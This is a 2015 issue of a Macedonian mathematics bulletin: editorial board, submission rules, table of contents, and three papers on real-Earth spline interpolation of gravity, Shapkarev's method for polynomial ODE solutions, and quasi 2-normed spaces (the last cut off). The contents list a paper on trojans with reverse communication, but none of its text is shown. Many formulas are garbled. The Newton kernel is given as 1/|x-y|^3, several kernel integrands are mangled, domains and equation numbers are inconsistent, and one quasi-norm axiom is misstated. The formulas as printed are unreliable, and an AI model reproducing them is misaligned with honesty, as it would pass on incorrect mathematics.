РЕДАКЦИСКИ ОДБОР
Малчески Алекса – Главен уредник
Маркоски Ѓорѓи – Секретар
Балан Владимир (Романија)
Čобан Митрофан (Молдавија)
Фелорис Аргрис (Грција)
Манова – Ераковиќ Весна (Македонија)
Mушкаров Олег (Бугариски)
Обергугенбергер Михаел (Австрија)
Пилиповиќ Стефан (Србија)
Scarpalezos Dimitrios (Francија)
Šкrekовски Ристе (Словенија)
Валов Веско (Канада)
Vindas Jasson (Белгија)

COMITÉ DE RÉDACTION
Malcheski Aleksa – Rédacteur en chef
Markoski Gorgi – Secrétaire
Balan Vladimir (Roumanie)
Čoban Mitrofan (Moldavie)
Felloris Argyris (Grèce)
Manova – Erakovic Vesna (Macédoine)
Mushkarov Oleg (Bugarie)
Oberguggenberger Michael (Autriche)
Pilipovic Stefan (Serbie)
Scarpalezos Dimitrios (France)
Škrekovski Riste (Slovénie)
Valov Vesko (Canada)
Vindas Jasson (Belgique)

СКОПЈЕ – SKОРЈЕ
2015
МАТЕМАТИЧКИОТ БИЛТЕН е наследник на БИЛТЕНОТ НА ДРУШТВАТА НА МАТЕМАТИЧАРИТЕ И ФИЗИЧАРИТЕ ОД МАКЕ-ДОНИЈА. Објавува оригинални научни трудови од сите области на мате-матиката и нејзините примени на македонски јазик или на едно од јази-ците: англиски, француски, германски или руски. Излегува два пати го-дишно.

Статиите за печатење, напишани во TEX или WORD (пожелно е во TEX), треба да бидат не поголеми од десет страни. Се доставува во елек-тронска форма на

e-mail: matbilten@gmail.com

Секоја статија треба да има апстракт, главен дел и резиме. Ако ста-тијата е напишана на македонски јазик, тогаш резимето треба да биде на англиски јазик, ако пак статијата е напишана на еден од погоре наведените јазици, тогаш резимето треба да биде на македонски јазик. Во почетна фаза трудовите може да се достават и во печатена верзија, во два приме-роци на адреса

МАТЕМАТИЧКИ БИЛТЕН
Сојуз на математичари на Македонија
Бул. “Александр Македонски” бб,
PФ 10, 1000 Скопје
Р. Македонија

MATEMATIČKI BILTEN – BULLETIN MATHÈMATIQUE is the successor of BILTEN NA DRUŠTVATA NA MATEMATIČARITE I FIZIČARITE OD MAKEDONIJA. It publishes original papers of all branches of mathematics and its applications. Contributions are in Macedonian language or in English, French, Russian or German. It is published twice a year.

Papers should be written in TEX or Word (preferably in TEX) and should not exceed about ten pages. They should be submitted in electronic form on

e-mail: matbilten@gmail.com

Every paper should contain abstract, main part and summary. If the paper is written in Macedonian, then summary should be written in English and if the paper is written in one of the above mentioned languages, then the summary should be written in Macedonian language. In the initial phase the papers can be submitted in two copies in printed version too, on the following address

MATEMATIČKI BILTEN
Sojuz na matematičari na Makedonija
Bul. “Aleksandar Makedonski” bb,
PF 10, 1000 Skopje
Republic of Macedonia

***

Издавањето на Математичкиот билтен го финансира
Министерството за образование и наука
СОДЕРЖИНА

1. Elena Kotevska and Willi Freeden  
REAL EARTH BASED SPLINE FOR GRAVITATIONAL POTENTIAL DETERMINATION  
5

2. Boro M. Piperevski and Elena Hadzieva  
ON A SHAPKAREV’S METHOD OF DIFFERENTIATION AND TRANSFORMATION  
13

3. Risto Malčeski  
SEVERAL PROPERTIES OF CONVERGENT AND CAUCHY SEQUENCES IN A QUASI 2-NORMED SPACE  
19

4. Victor N. Kasyanov and Elena V. Kasyanova  
INFORMATION VISUALIZATION ON THE BASE OF HIERARCHICAL GRAPHS  
25

5. Katerina Anevska and Samoil Malčeski  
INEQUALITIES OF DUNKL-WILLIAMS AND MERCER IN QUASI 2-NORMED SPACE  
33

6. Boro M. Piperevski  
FOR A CLASS OF AUTONOMOUS DYNAMICAL SYSTEMS  
39

7. Igor Dimovski, Samoil Samak, Dijana Cvetkoska, Mirjana Trompeska and Filip Kochoski  
SPEED CONTROL IN NUMERIC CONTROLLED SYSTEMS  
49

8. Mane Piperevski  
HACKER ATTACKS UNDETECTABLE ATTACKS FROM TROJANS WITH REVERSE COMMUNICATION  
65
REAL EARTH BASED SPLINE FOR GRAVITATIONAL
POTENTIAL DETERMINATION

Elena Kotevska\textsuperscript{1}, Willi Freeden\textsuperscript{2}

Abstract. For computational reasons, the spline interpolation of gravitational potential is usually done in a spherical framework [3]. However, the increasing observational accuracy requires mathematical methods for geophysically more relevant surfaces. We propose a spline method with respect to the real Earth. The spline formulation reflects the specific geometry of a given regular surface. This is due to the representation of the reproducing kernel as a Newton integral over the inner space of a regular surface. The approximating potential functions have the same domain of harmonicity as the actual Earth's gravitational potential. Moreover, this approach is a generalization to spherical kernels.

1. INTRODUCTION

The Earth's gravity field is one of the most fundamental forces. Although invisible, gravity is a complex force of nature that has an immeasurable impact on our everyday lives. It is often assumed that the force of gravity on the Earth's surface has a constant value, and gravity is considered acting in straight downward direction, but in fact its value varies subtly from place to place and its direction known as the plumb line is actually slightly curved. If the Earth had a perfectly spherical shape and if the mass inside the Earth were distributed homogeneously or rotationally symmetric, these considerations would be true and the line along which Newton's apple fell would indeed be a straight one. The gravitational field obtained in this way would be perfectly spherically symmetric. In reality, however, the situation is much more complex. Gravitational force deviates from one place to the other from that of a homogeneous sphere, due to a number of factors, such as the rotation of the Earth, the topographic features (the position of mountains, valleys or ocean trenches) and variations in density of the Earth's interior. As a consequence the precise knowledge of the Earth's gravitational potential and equipotential surfaces is crucial for all sciences that contribute to the study of the Earth, such as seismology, topography, solid geophysics or oceanography. With the growing awareness with respect to environmental problems like pollution and climate changes, this problem becomes every day a more and more important issue.

2010 Mathematics Subject Classification. Primary: 31B20 Secondary: 31B10, 31B05

Key words and phrases. potential, regular surface, reproducing kernel, harmonic function
So, how is gravitational potential calculated nowadays?

The obvious complexity of the mathematical representation of equipotential surfaces, was the reason why geoscientists were choosing more suitable surfaces for the (approximate) construction of the geoid. It is known that the geoid to a first approximation is a sphere with radius about 6371 km, so first of all, approaches to deal with a spherical Earth have been considered. The traditional way to model the gravitational field is to use (Fourier) expansions with spherical harmonics as basis functions (which is a technique developed by Gauss in the nineteenth century). The spherical harmonics and their continuation to the inner and outer space as solution to Laplace equation are well-known. Much research concerning these functions has been done so far. As a result, a great number of mathematical theories concerning gravitational field determination were developed in the spherical framework, and corresponding numerical methods are known to give good accuracy. The developed theory of spherical harmonic splines and wavelets in [2]-[5] showed that spline functions can be viewed as canonical generalizations of the outer harmonics, having desirable properties such as interpolating, smoothing, and best approximation functions, while harmonic wavelets are giving possibility of multiscale analysis as constituting 'building blocks' in the approximation of the gravitational potential. Even the latest gravitational potential model EGM2008 and its predecessor EGM96 are providing spherical harmonics coefficients for the geoid. The spherical framework however, was sufficient for modelling the gravitational field until recently. The available data in the recent past reflected gravitational field changes at the long to medium length scales, and the approximations in the spherical framework could have been considered satisfactory. But today due to the newest satellite techniques we are able to get much more detailed picture of the local changes of the geopotential. On relatively short length scales (a few km to a few hundred km) the geoid is closely related to topography and we know that today's accuracies of satellite data gives us the possibility to reconstruct the geoid on very short length scales (e.g., the GOCE data). Also, the surface of the Earth become measurable with greatest precision, so today we are in position to discuss various developments and generalization of mathematical methods for integrals over regular regions, such as for example Newton integral. This situation offers new challenges to the geomathematicians in developing a new mathematical framework for the determination of the geoid. Today we are interested in non-spherical boundaries when solving potential theory problems, such as ellipsoids, or the real Earth's surface. [1] introduces the reproducing kernel Hilbert space of Newton potentials on and outside a given regular surface with reproducing kernel defined as a Newton integral over it's interior. Under this framework, a real Earth oriented strategy and method for the Earth's gravitational potential determination was proposed. This paper presents some of the results of the non-spherical theory presented in [1].
2. Reproducing kernel Hilbert space of Newtonian potentials

In Newtonian nomenclature, the gravitational potential \( V \) of the Earth generated by a mass-distribution \( F \) inside the Earth is given by the volume integral (Newton integral)

\[
V(x) = G \int_{\text{Earth}} \frac{F(y)}{|x-y|^3} dy, \quad x \in \mathbb{R}^3,
\]

(0.1)

where \( G \) is the gravitational constant \( G = 6.67422 \times 10^{-11} \text{ m}^3 \text{ kg}^{-1} \text{ s}^{-2} \) and \( dy \) is the volume element. The gravitational potential of the Earth corresponding to an integrable and bounded density function \( F \), satisfies the Laplace equation \( \Delta V = 0 \) in the outer space and the Poisson equation \( \Delta V = -4\pi F \) in the interior space.

The Newton integral (1.1) and its first derivatives are continuous everywhere on \( \mathbb{R}^3 \), i.e., \( V \in C^{(1)}(\mathbb{R}^3) \). The second derivatives are analytic everywhere outside the real Earth surface, but they have a discontinuity when passing across the surface. Moreover, the gravitational potential \( V \) of the Earth, shows at infinity the following behavior:

(i) \(|V(x)| = O\left(\frac{1}{|x|}\right), \ x \to \infty\),

(ii) \(|\nabla V(x)| = O\left(\frac{1}{|x|^2}\right), \ x \to \infty\),

i.e., it is regular at infinity.

It was shown in [1] that associating the density function to the class of distributionally harmonic functions in \( L^2(\Sigma^{\text{int}}) \) ensures the appropriate RKHS structure of the space of Newton potentials in the Earth’s exterior. The Newton integral given by

\[
V(x) = \int_{\Sigma^{\text{int}}} \frac{F(y)}{|x-y|^3} dy, \quad x \in \Sigma^{\text{ext}}, \ F \in L^2(\Sigma^{\text{int}})
\]

(0.2)
defines a linear operator \( \mathcal{P} : L^2(\Sigma^{\text{int}}) \to \mathcal{P}(L^2(\Sigma^{\text{int}})) \), with \( \mathcal{P} : F \mapsto V \), such that for every density function \( F \in L^2(\Sigma^{\text{int}}) \), \( \mathcal{P}F = \int_{\Sigma^{\text{int}}} \frac{F(y)}{|x-y|^3} dy \) is a Newtonian potential in the free space \( \Sigma^{\text{ext}} \).

We denote by \( \mathcal{H} \) the space \( \mathcal{P}(L^2(\Sigma^{\text{int}})) \) of potentials in \( \Sigma^{\text{ext}} \), i.e., we say that a function \( V \) is an element in \( \mathcal{H} \), if we can write \( V \) in the form (1.2).

**Theorem 1.** The space \( \mathcal{H} \) of Newton integrals in \( \Sigma^{\text{ext}} \) corresponding to harmonic density functions, is a reproducing kernel Hilbert space with the reproducing kernel

\[
K(x,.) = \int_{\Sigma^{\text{int}}} \frac{dy}{|x-y|^3}, \quad x \in \Sigma^{\text{ext}}.
\]

(0.3)
It is clear that for a fixed $x \in \Sigma^{\text{ext}}$, the reproducing kernel $K(x, \cdot)$ is a Newtonian potential corresponding to the harmonic density function $\frac{1}{|x-\cdot|}$ from $L^2(\Sigma^{\text{int}})$. Moreover, for a fixed $x \in \Sigma^{\text{ext}}$, the potential $K(x, \cdot)$ to the density $\frac{1}{|x-\cdot|}$ is an element of $L^1(\Sigma^{\text{int}})$. This fact assures that $K(x, \cdot)$ satisfies the Laplace equation in $\Sigma^{\text{ext}}$.

Moreover, the potentials corresponding to densities in $L^2(\Sigma^{\text{int}})$ are elements in $C^0(\mathbb{R}^3)$. This is an extraordinary fact, since it means that now in interpolation methods we will be able to use potentials of the same nature as the Earth's gravitational potential, i.e., functions that are harmonic in the free space and continuous on the boundary instead of using outer harmonic expressions which are harmonic down to the Runge sphere completely situated in the Earth's interior. The reproducing kernel is available in integral form for any geophysically relevant geometry (like ellipsoid, geoid, actual Earth's surface).

3. REAL EARTH BASED SPLINE

It was shown in [1] that the Dirichlet functional of the gravitational potential for points on the surface $\Sigma$, is bounded on the reproducing kernel Hilbert space $\mathcal{H}$ as defined before. Let $\{\alpha_1, \ldots, \alpha_N\}$ be a given data set of Dirichlet functionals for the unknown potential $U$, corresponding to the discrete set $X_N = \{x_1, \ldots, x_N\}$ of pairwise disjoint points on $\Sigma$, i.e., for $i = 1, \ldots, N$

$$D_i U = U(x_i) = \alpha_i.$$ 

Our aim is to find the smoothest $\mathcal{H}$ - interpolant corresponding to data set $\{\alpha_1, \ldots, \alpha_N\}$ where by 'smoothest' we mean that the norm is minimized in $\mathcal{H}$. In other words, the problem is to find a function $S^U_{D_1, \ldots, D_N}$ in the set

$$\mathcal{I}^U_{D_1, \ldots, D_N} = \{P \in \mathcal{H} | D_i P = \alpha_i, i = 1, \ldots, N\},$$

such that

$$\|S^U_{D_1, \ldots, D_N}\|_{\mathcal{H}} = \inf_{P \in \mathcal{I}^U_{D_1, \ldots, D_N}} \|P\|_{\mathcal{H}}.$$ 

The corresponding representer of the functional $D_i$ can be written as

$$D_i K(\cdot, \cdot) = K(x_i, \cdot),$$

where $K$ is the reproducing kernel of $\mathcal{H}$. Then, for a given set $\{D_1, \ldots, D_N\}$ of $N$ Dirichlet functionals on $\mathcal{H}$, corresponding to the set $X_N = \{x_1, \ldots, x_N\}$ of points on $\Sigma$, we have the set of representers

$$\{D_1 K(\cdot, \cdot), \ldots, D_N K(\cdot, \cdot)\}.$$
The reproducing property of $K$ yields, for $i = 1, \ldots, N$, and $P \in \mathcal{H}$
\[ \mathcal{D}_i P = (\mathcal{D}_i K(\cdot), P)_{\mathcal{H}}. \]
Having in mind that the reproducing kernel is given as a Newton integral (1.3), so are the representers of the functionals $\mathcal{D}_i$, i.e.
\[ \mathcal{D}_i K(\cdot, \cdot) = \int_{\Sigma^{int}} \frac{dz}{|x_i - z^2 - z^2|}. \]

**Definition 1.** A system $X_N$ of points $x_1, \ldots, x_N$ on the surface $\Sigma$ is called fundamental system on $\Sigma$, if the corresponding representers $\mathcal{L}_i K(\cdot, \cdot), \mathcal{L}_N K(\cdot, \cdot)$ of a given linear functional $\mathcal{L}$ are linearly independent.

The interpolating spline is defined as follows:

**Definition 2.** Let $X_N = \{x_1, \ldots, x_N\}$ be a given fundamental system of points on $\Sigma$ and let $\{\mathcal{D}_1, \ldots, \mathcal{D}_N\}$ be the set of the corresponding bounded linear Dirichlet functionals. Then, any function of the form
\[ S(x) = \sum_{i=1}^{N} a_i \mathcal{D}_i K(x, x) = \sum_{i=1}^{N} a_i \left[ \int_{\Sigma^{ext}} \frac{dz}{|x_i - z^2 - z^2|} \right], \quad x \in \Sigma^{ext}, \]
with arbitrarily given (real) coefficients $a_1, \ldots, a_N$ is called a $\mathcal{H}$-spline relative to $\{\mathcal{D}_1, \ldots, \mathcal{D}_N\}$.

Obviously the space $S_{\mathcal{H}}(\mathcal{D}_1, \ldots, \mathcal{D}_N) = \text{span}\{\mathcal{D}_1 K(\cdot, \cdot), \ldots, \mathcal{D}_N K(\cdot, \cdot)\}$, of all $\mathcal{H}$-splines relative to $\{\mathcal{D}_1, \ldots, \mathcal{D}_N\}$ is an N-dimensional subspace of $\mathcal{H}$.

As an immediate consequence of the reproducing property, viz. the $\mathcal{H}$-spline formula we get the following

**Lemma 1:** Let $S$ be a function of class $S_{\mathcal{H}}(\mathcal{D}_1, \ldots, \mathcal{D}_N)$. Then for each $P \in \mathcal{H}$, the following identity is valid
\[ (S, P)_{\mathcal{H}} = \sum_{i=1}^{N} a_i \mathcal{D}_i P. \]

Now the problem of determining the smoothest function in the set of all $\mathcal{H}$-interpolants is related to a system of linear equations which needs to be solved to obtain the spline coefficients. Indeed, the application of the linear functionals $\{\mathcal{D}_1, \ldots, \mathcal{D}_N\}$ to the $\mathcal{H}$ spline, yields $N$ linear equations in the coefficients $a_1, \ldots, a_N$
\[ \sum_{j=1}^{N} a_j N \mathcal{D}_i \mathcal{D}_j K(\cdot, \cdot) = \mathcal{D}_i U, \quad i = 1, \ldots, N. \]
The elements of the coefficients matrix \((\mathcal{D}_i \mathcal{D}_j \mathcal{K}(\cdot, \cdot))_{i,j=1,\ldots,N}\) are given by
\[
\mathcal{D}_i \mathcal{D}_j \mathcal{K}(\cdot, \cdot) = \int_{\mathbb{R}} \frac{1}{|\gamma_j - z|^{N-1}} dz.
\]
Since the coefficient matrix as Gram matrix of the \(N\) linearly independent functions is non-singular, the linear system is uniquely solvable. Together with the set of linear bounded functionals and the reproducing kernel Hilbert space \(\mathcal{H}\), the coefficients \(a_1, \ldots, a_N\) define the unique interpolating spline we are looking for. Thus we can state

**Lemma 2 (Uniqueness of interpolation).** For given \(U \in \mathcal{H}\) there exist a unique element in \(S_\mathcal{H}(\mathcal{D}_1, \ldots, \mathcal{D}_N) \cap \mathcal{I}_U^{\mathcal{D}_1, \ldots, \mathcal{D}_N}\).

We denote this element by \(S^U_{\mathcal{D}_1, \ldots, \mathcal{D}_N}\). Moreover, we have the following

**Lemma 3.** The interpolating \(\mathcal{H}\)-spline (relative to \(\{\mathcal{D}_1, \ldots, \mathcal{D}_N\}\)) is the \(\mathcal{H}\)-orthogonal projection of \(U\) onto the space \(S_\mathcal{H}(\mathcal{D}_1, \ldots, \mathcal{D}_N)\).

The upcoming lemmata give several properties, namely the minimum norm properties which also justify the use of the name ‘spline’ for such interpolants.

**Lemma 4 (First minimum property).** If \(P \in \mathcal{I}_U^{\mathcal{D}_1, \ldots, \mathcal{D}_N}\), then
\[
\|P\|_\mathcal{H}^2 = \|S^U_{\mathcal{D}_1, \ldots, \mathcal{D}_N}\|_\mathcal{H}^2 + \|S^U_{\mathcal{D}_1, \ldots, \mathcal{D}_N} - P\|_\mathcal{H}^2.
\]

**Lemma 5 (Second minimum property).** If \(S \in S_\mathcal{H}(\mathcal{D}_1, \ldots, \mathcal{D}_N)\) and \(P \in \mathcal{I}_U^{\mathcal{D}_1, \ldots, \mathcal{D}_N}\), then
\[
\|S - P\|_\mathcal{H}^2 = \|S^U_{\mathcal{D}_1, \ldots, \mathcal{D}_N} - P\|_\mathcal{H}^2 + \|S^U_{\mathcal{D}_1, \ldots, \mathcal{D}_N}\|_\mathcal{H}^2.
\]

Summarizing our results we finally find

**Theorem 2:** The interpolation problem
\[
\|S^U_{\mathcal{D}_1, \ldots, \mathcal{D}_N}\|_\mathcal{H} = \inf_{P \in \mathcal{I}_U^{\mathcal{D}_1, \ldots, \mathcal{D}_N}} \|P\|_\mathcal{H},
\]
is well-posed in the sense that its solution exists, is unique, and depends continuously on the data \(\alpha_1, \ldots, \alpha_N\). The uniquely determined solution \(S^U_{\mathcal{D}_1, \ldots, \mathcal{D}_N}\) is given in the explicit form
\[ S^U_{D_1,\ldots,D_N}(x) = \sum_{i=1}^{N} a_i^N \int_{\Sigma^i} \frac{1}{|x_i - z|^d} \, dz, \quad x \in \Sigma^{ext}, \]

where the coefficients \( a_1^N, \ldots, a_N^N \) satisfy the linear equations

\[ \sum_{i=1}^{N} a_i^N \int_{\Sigma^i} \frac{1}{|x_i - z|^d} \, dz = \alpha_j, \quad j = 1, \ldots, N. \]

**Remark.** It should be noted that the requirement for the linear independence of the given bounded linear functionals is not necessary from the theoretical point of view, but essential for numerical computations. It guarantees that the \( \mathcal{H} \)-spline coefficients are uniquely determined, i.e., that the linear equation system is uniquely solvable. Without linear independence of the functionals, the dimension of the spline space is smaller than \( N \), and the coefficients of the interpolating \( \mathcal{H} \)-spline of \( U \) relative to \( \{D_1,\ldots, D_N\} \) are no longer uniquely determined. Nevertheless, the interpolating \( \mathcal{H} \)-spline is the uniquely determined orthogonal projection of \( U \) onto the spline space and all the spline properties are still valid.

**References**


---

1) Faculty of Technical Sciences, University St. Kliment Ohridski, Bitola, R.Macedonia  
*E-mail address:* elena.kotevska@tfb.uklo.edu.mk

2) AG Geomathematics, TU Kaiserslautern, Germany  
*E-mail address:* freeden@mathematik.uni-kl.de
ON A SHAPKAREV’S METHOD OF DIFFERENTIATION AND TRANSFORMATION
(To the memory of Prof. Ilija A. Shapkarev)

Boro M. Piperevski¹, Elena Hadzieva²

Abstract. This paper emphasises the contribution of Prof. Dr. Ilija A. Shapkarev in the field of differential equations, particularly in the existence and construction of polynomial solution of the ordinary differential equation (ODE) of n-th order, or equivalently, of system of n equations of first order. The method that he uses is called the method of differentiation and transformation (MDT). With this paper we give a review of his work and extension of the application of his method.

1. INTRODUCTION

One of the most common problems in the theory of ordinary differential equations is the existence and uniqueness of the solution. When the ODE is linear, it might be of help to reduce it to a system of ODE’s.

An important problem is to find a polynomial solution. Its importance can be treated from many aspects. For instance, it is widely known that the orthogonal polynomials as a solutions of differential equations, are of great importance in numerical mathematics. Great number of numerical methods is based on polynomial solutions of differential equations. Also, it is well-known how eigenvalues and eigenfunctions are connected to polynomial solutions of differential equations.

Existence and construction of polynomial solution need lot of methods from mathematical analysis. The existence conditions always contain positive integer.

Prof. D-r Ilija A. Shapkarev, doyen in this field in Macedonia, had been worked on this problem in many of his scientific papers. The papers, in which he transforms the differential equations in the equations of the same type, are of special importance. These results allowed wide generalization of the classes of solvable equations. In the most of his papers he uses method of differentiation and transformation (MDT).
2. OVERVIEW OF PROF. SHAPKAREV’S WORK

In this section we will focus only on one class linear differential equations of third order, reducible to a system.

Let’s consider the differential equation of the following type:

\[
(x-a)(x-b)(x-c)y^{'''}+(\beta_2 x^2 + \beta_1 x + \beta_0)y^{''}+(\gamma_1 x + \gamma_0)y^{'}+\delta y = 0,
\]

where \(a, b, c, \beta_2, \beta_1, \beta_0, \gamma_1, \gamma_0, \delta\) are real constants and \(a \neq b \neq c, y = y(x)\).

In [6], the conditions for existence and construction of polynomial solutions of (2.1), of orders \(m, n, p\), are obtained as well as the reduction to a system of equations is shown. In [2], [3] and many other papers based on MDT, a special class of differential equations is treated and the corresponding conditions for existence of polynomial solutions are obtained.

In [1], [4], equation of the type (2.1) is also treated from the existence and construction of polynomial solutions point of view and some special cases for its reducibility to a system of linear equations of first order is obtained:

\[
\begin{align*}
(x-a)y^{'}+A_1y+A_2z &= 0, \\
(x-b)z^{'}+B_2z+B_3w &= 0, \\
(x-c)w^{'}+C_3w &= 0,
\end{align*}
\]

where \(a, b, c, A_1, A_2, B_2, B_3, C_3\) are real constants and \(a \neq b \neq c, y = y(x), z = z(x), w = w(x)\).

The method of successive differentiations and method of elimination performed over the system (1.2), will yield to the following differential equation of third order

\[
(x-a)(x-b)(x-c)y^{'''}\\
\quad +[C_3(x-a)(x-b)+(A_1+2)(x-b)(x-c)+(B_2+1)(x-a)(x-c)]y^{''}
\]

\[
\quad +[C_3B_2(x-a)+(A_1+1+B_2+A_2B_2)(x-c)]y^{'}+C_3A_1B_2y = 0
\]

(2.3)

and the following differential equation of second order

\[
(x-b)(x-c)z^{''}+[(B_2+1)(x-c)+C_3(x-b)]z^{'}+C_3B_2z = 0.
\]

(2.4)

The equations (1.3) and (1.4) and the equation

\[
(x-c)w^{'}+C_3w = 0
\]

(2.5)

correspond to the system (1.2).

Successive solutions of the system (2.2) are

\[
w = K_1(x-c)^{-C_3}
\]

\[
z = (x-b)^{-B_2}[K_2 + B_3K_1 \int (x-c)^{-C_3}(x-b)^{B_2-1} dx]
\]

(2.6)

\[
y = (x-a)^{-A_1}\{K_3 + A_2 \int (x-a)^{A_1-1}(x-b)^{-B_2}[K_2 + B_3K_1 \int (x-c)^{-C_3}(x-b)^{B_2-1} dx] dx\}
\]

where \(K_1, K_2, K_3\) are arbitrary constants.

Actually ([4]), these are the formulas for the general solutions of the equations (2.3), (1.4) and (1.5).
The system (2.2) is important, because it is equivalent to a differential equation of third order, whose general solution is polynomial with three particular polynomial solutions. That is the equation
\[
(x - a)(x - b)(x - c)y''' + \left((-3n - 2m - p + 3)x^2 + [n(2a + 2b + 2c) + m(a + b + 2c)
+ p(b + c) - (a + 2b + 3c)]x - n(ab + bc + ac) - mc(a + b) - pbc + c(a + 2b)\right)y''
+ \left([(n+m)(3n+m+p-2)+(p-1)(n-1)]x + (n+m)[-n(a+b) + (2-n-m-p)c]
+ (p-1)(c-nb)\right)y' - n(n+m)(n+m+p)y = 0,
\]
whose general solution is given by the following formula:
\[
y = (x-a)^{n+m+p}\left\{K_3 + \int (x-a)^{-(n+m+p+1)}(x-b)^{n+m}[K_2 + K_1\int (x-c)^n(x-b)^{-(n+m+1)}dx]dx\right\}
\]
and the corresponding system is ([4], [12])
\[
\begin{align*}
(x-a)y' - (n+m+p)y + z &= 0, \\
(x-b)z' - (n+m)z + mw &= 0, \\
(x-c)w' - nw &= 0.
\end{align*}
\]

3. APPLICATION OF MDT

In [3,13] the authors treat the problem of reducibility of a class of a linear differential equations of second order with polynomial coefficients of the following type
\[
(x-a)(x-b)y'' + (b_1x + b_0)y' + c_0y = 0,
\]
where \(a, b, b_1, b_0, c_0\) are real constants and \(a \neq b, y = y(x)\).

Using the conditions for existence of the general polynomial solution of the differential equation (3.1) a class of linear differential equations of second order of the type
\[
(x-a)(x-b)y'' - \left[(2n+m-1)x - (r+n)b - (m+n-r-1)a\right)y' + n(n+m)y = 0,
\]
where \(m,n,r \in \mathbb{Z}^+, \ r \in \{1,2,...,m-1\}\) has general solution given by formula
\[
y = C_1 (x-a)^{n+r+1}(x-b)^{n+m-r}[\int (x-a)^{-r-1}(x-b)^{-m+r}dx]^n
+ C_2 (x-a)^{n+r+1}(x-b)^{n+m-r}[\int (x-a)^{-r-1}(x-b)^{-m+r}dx]^n
\]
Moreover, it is shown that the equation (3.2) can be reduced to the following system of differential equations:
\[
\begin{align*}
(x-a)y' - (n+r+1)y + (r+1)z &= 0, \\
(x-b)z' - (n+m-r-1)z + (m-r-1)y & = 0.
\end{align*}
\]

Let’s now consider the system
\[
\begin{align*}
(x-a)y' - (n+m+p)y + z &= 0, \\
(x-b)z' - (n+r+1)z + (r+1)w &= 0, \\
(x-c)w' - (n+m-r-1)w + (m-r-1)z &= 0,
\end{align*}
\]
where \(m,n,p,r \in \mathbb{Z}^+, \ r \in \{1,2,...,m-1\}\).
By method of differentiation and transformation the last system can be transformed in the following differential equation of third order:

\[
(x-a)(x-b)(x-c)y'''+ \{(-3n-2m-p+3)x^2 + [a(2n+m-1)+b(2n+2m+p-r-3) \\
+ c(2n+m+p+r-2)]x - (n+m+p-2)bc - (n+r)ac - (n+m-r-1)ab\}y'' \\
+ \{[(n+m+p-1)(2n+m-1)+n(n+m)]x-(n+m+p-1)(n+r)c \\
- (n+m+p-1)(n+m-r-1)b-n(n+m)a\}y' - n(n+m)(n+m+p)y = 0.
\] (3.6)

The second and third equations of the system (3.5) are of the type (3.4). In accordance with the formula (3.3) and using the first equation, the general solution of the equation (3.6) will be given by the formula

\[
y = (x-a)^{n+m+p}\{C_1 + \\
+ C_2\int \{(x-a)^{-r-1}(x-b)^{n+r+1}(x-c)^{n+m-r}\{C_2[(x-b)^{-r-1}(x-c)^{-m+r}]^{(n)} \\
+ C_3[(x-b)^{-r-1}(x-c)^{-m+r}]\int (x-b)^r(x-c)^{m+r-1}dx \}^{(n)}\} \}dx
\] (3.7)

By this, the following theorem is proved:

Theorem: The general solution of the differential equation of third order with polynomial coefficients (3.6) is a polynomial, given with the formula (3.7). Also, it can be reduced on a system of differential equations (3.5).

Remark. The equation (1.7) is a special case of the equation (3.6), for \( r = m-1 \), while the system (1.9) is a special case of the system (3.5).

4. CONCLUSION

Prof. Dr. Ilija A. Shapkarev has a great contribution in development and research in the field of ordinary differential equation in Macedonia (and wider), especially with his method of differentiation and transformation. In this paper we made an overview of a part of his work and we gave an example of a differential equation of third order, where his method can be applied for obtaining the polynomial solution.

References

[3] И. А. Шапкарев, Б. М. Пиперевски, Е. Хаџиева, Н. Серафимова, К. Митковска Трендова, За една класа линеарни диференцијални равенки од втор ред чие опитно
On a Shapkarev’s method of differentiation and transformation


1) Faculty of Electrical Engineering and Information Technologies, University “Ss Cyril and Methodius”, Скопје, Македонија, E-mail: borom@feit.ukim.edu.mk
2) UIST “St. Paul the Apostle”, Охрид, Македонија, E-mail: elena.hadziieva@uist.edu.mk
SEVERAL PROPERTIES OF CONVERGENT AND CAUCHY SEQUENCES IN A QUASI 2-NORMED SPACE

Risto Malčeski

Abstract. In [7] C. Park has generalized the term quasi-normed space, i.e. has given the term quasi 2-normed space. Further, C. Park has proven few properties of quasi 2-norm, in [3] M. Kir and M. Acikgoz have given the procedure for completing the quasi 2-normed space and in [1], [4] and [6] are proven few inequalities about quasi 2-normed spaces. In this paper are proven several properties of Cauchy and convergent sequences in a quasi 2-normed space. Some of them are analogy to the properties of such sequences in n-normed spaces ([5], [8]).

1. INTRODUCTION

S. Gähler (1965) gave the terms of 2-normed spaces. Parallelepiped inequality, which is one of the basic in the theory of 2-normed spaces, is one of the axioms of 2-norm. Precisely this inequality, analogously as in the normed spaces, C. Park has replaced by new condition. Thus, he actually derived the following definition for quasi 2-normed space.

Definition 1 ([7]). Let L be a real vector space and \( \text{dim} L \geq 2 \). Quasi 2-norm is a real function \( \| \cdot \| : L \times L \rightarrow [0, \infty) \) such that:

i) \( \| x, y \| \geq 0 \), for all \( x, y \in L \) and \( \| x, y \| = 0 \) if and only if the set \( \{ x, y \} \) is linearly dependent;

ii) \( \| x, y \| = \| y, x \| \), for all \( x, y \in L \);

iii) \( \| \alpha x, y \| = \| \alpha \cdot x, y \| \), for all \( x, y \in L \) and for each \( \alpha \in \mathbb{R} \), and

iv) It exists a constant \( C \geq 1 \) such that \( \| x + y, z \| \leq C(\| x, z \| + \| y, z \|) \), for all \( x, y, z \in L \).

The ordered pair \( (L, \| \cdot, \cdot \|) \) is quasi 2-normed space if \( \| \cdot, \cdot \| \) is quasi 2-norm. The smallest number \( K \) such that it satisfies d) is modulus of concavity of the quasi 2-norm \( \| \cdot, \cdot \| \).
Definition 2. Let $L$ be a real vector space and $\dim L \geq 2$. Quasi 2-norms $\| \cdot \|_1$ and $\| \cdot \|_2$ defined on $L$ are equivalent if it exists $m, M > 0$ such that

$$m \| x, y \|_1 \leq \| x, y \|_2 \leq M \| x, y \|_1, \text{ for all } x, y \in L.$$ 

Further, in [3] M. Kir and M. Acikgoz gave few examples of trivial quasi 2-normed spaces and considered the question about completing the quasi 2-normed space. C. Park in [7] gave a characterization of quasi 2-normed space (Theorem 1), and [4] (Lemma 1) is proven an inequality which is characteristic for quasi 2-normed spaces.

Theorem 1 ([7]). Let $(L, \| \cdot \|)$ be a quasi 2-normed space. It exists $p, 0 < p \leq 1$ and an equivalent quasi 2-norm $\| \cdot \|_P$ on $L$ such that

$$\| x + y, z \|_P \leq \| x, z \|_P + \| y, z \|_P,$$ (1)

for all $x, y, z \in L$. ■

